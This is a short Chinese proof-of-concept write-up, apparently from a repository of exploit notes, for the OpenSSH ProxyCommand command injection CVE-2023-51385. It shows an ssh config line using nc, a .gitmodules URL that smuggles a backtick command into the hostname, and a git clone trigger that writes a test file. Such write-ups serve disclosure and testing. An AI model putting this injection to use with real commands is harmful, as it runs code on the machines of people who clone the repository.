POC/wpoc/OpenSSH/OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385).md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

1.1 KiB
Raw Blame History

OpenSSH ProxyCommand命令注入漏洞 (CVE-2023-51385)

SSHProxyCommand是一个用于代理SSH连接的广泛使用的功能允许用户指定用于连接到服务器的自定义命令。该功能的参数中可能包含像%h主机名和%u用户名这样的标记。然而当主机名来自不受信任的来源时存在潜在的安全风险因为可能构造恶意主机名看起来像“恶意命令”并通过反引号执行Shell命令。

首先需要在~/.ssh/config增加如下

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

.gitmodules文件语句中存在命令注入

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

配置完成后,执行下面的指令触发

git clone https://github.com/wy876/CVE-2023-51385_test --recurse-submodules

如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件

image

漏洞来源